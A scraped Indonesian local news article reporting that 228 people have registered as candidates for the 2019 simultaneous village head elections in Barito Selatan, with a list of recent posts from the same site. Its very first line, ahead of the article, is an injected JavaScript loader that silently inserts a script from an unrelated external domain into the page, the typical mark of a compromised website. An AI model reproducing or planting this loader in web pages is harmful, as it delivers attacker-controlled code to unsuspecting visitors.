(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sudah 228 Pendaftar Pilkades Serentak 2019 di Barsel


BUNTOK, Untuk tahapan Pemilihan Kades Serentak (Pilkades) 2019 di Kabupaten Barito Selatan sudah memasuki tahap kedua. Yakni sudah mulai proses pendaftaran bakal calon kades yang akan ikut bersaing akhir tahun ini.

Dinas Sosis Pemberdayaan Masyarakat Desa (DSPMD) Barsel melalui Kabid Adminitrasi dan Kelembagaan Desa, Samsul Bahri mengatakan, untuk proses Pilkades 2019 sudah memasuki tahap kedua, yakni para bakal calon sudah mulai mendaftarkan diri untuk maju di desa masing-masing.

“Jadi pada tahap kedua ini, calon sudah mendaftarkan dirinya untuk maju di desa masing-masing,” kata Samsul kepada Kanalkalimantan.com, Kamis (22/8).

Berdasarkan data yang masuk di DSPMD Barsel, sudah ada 228 orang yang mendaftarkan diri untuk maju menjadi Kades pada seluruh wilayah desa di Barsel yang menggelar Pilkades.

“Jadi dari 6 kecamatan yang masuk, sudah ada 228 orang yang mendaftarkan dirinya maju pada Pilkades serentak Oktober nanti,” ucap Samsul.

Diungkapkannya, dari 228 bakal calon kades itu malahan  di kecamatan Dusun Selatan dan Dusun Utara ada yang lebih dari 5 peserta sesuai dengan aturan yang sudah ditetapkan.

Adapun untuk desa yang lebih dari 5 peserta pendaftar antara lain, Desa Marawan Lama, Kecamatan Dusun Utara 7 orang, Desa Kalahien 7 orang, Desa Baru 6 orang, Desa Tanjung Jawa 8 orang, Desa Penda Asam 7 orang, empat desa terakhir ini berada dalam Kecamatan Dusun Selatan.

“Jadi pada lima desa melebihi kuota pendafat yang sesuai aturan pencalonan kades hanya untuk lima orang pendaftar, sedangkan untuk desa dari empat kecamatan lainnya semua berjalan lancar sesuai aturan,” beber Samsul.

Terkait kelebihan kuota pendaftar pada bakal calon kades itu, pihaknya akan melakukan tes wawancara dan tertulis kepada pada pendaftar. Untuk hasilnya nanti, tidak menutup kemungkinan tidak hanya berkurang jadi lima, namun bisa menjadi dua.

“Saat dilaksanakan tes ulang kepada para pendaftar calon kades nanti, hasilnya tidak hanya mengurangi untuk menjadi lima saja, bisa menjadi dua calon saja,” tandas Samsul. (digdo)

Reporter : Digdo
Editor : Bie

Desy Arfianty

Recent Posts

Door to Door Kanalkalimantan Peduli-MPA Fisipioneer Antar Sembako di Tanjung Rema

KANALKALIMANTAN.COM, MARTAPURA – Merasakan langsung air yang merendam rumah warga, Tim Kanalkalimantan Peduli – Mahasiswa… Read More

4 jam ago

Persawahan Terendam, Petani Tak Bisa Berbuat Apa-apa

KANALKALIMANTAN.COM, MARTAPURA — Banjir yang menenggelamkan wilayah Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar mematikan… Read More

5 jam ago

UMP 2026 Kalimantan Selatan Naik 6,54%, Begini Aturannya!

Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember… Read More

6 jam ago

Pemkab Kapuas Bahas Skema Penyelesaian Tenaga Non ASN

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More

7 jam ago

Wabup Kapuas: Hindari Pemborosan, Hentikan Budaya Dilayani

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More

7 jam ago

Banjir Balangan: 34 Desa Terdampak di 6 Kecamatan, Ratusan Rumah Rusak

KANALKALIMANTAN.COM, PARINGIN - Bencana banjir yang melanda Kabupaten Balangan sejak akhir Desember 2025 berdampak pada… Read More

8 jam ago

This website uses cookies.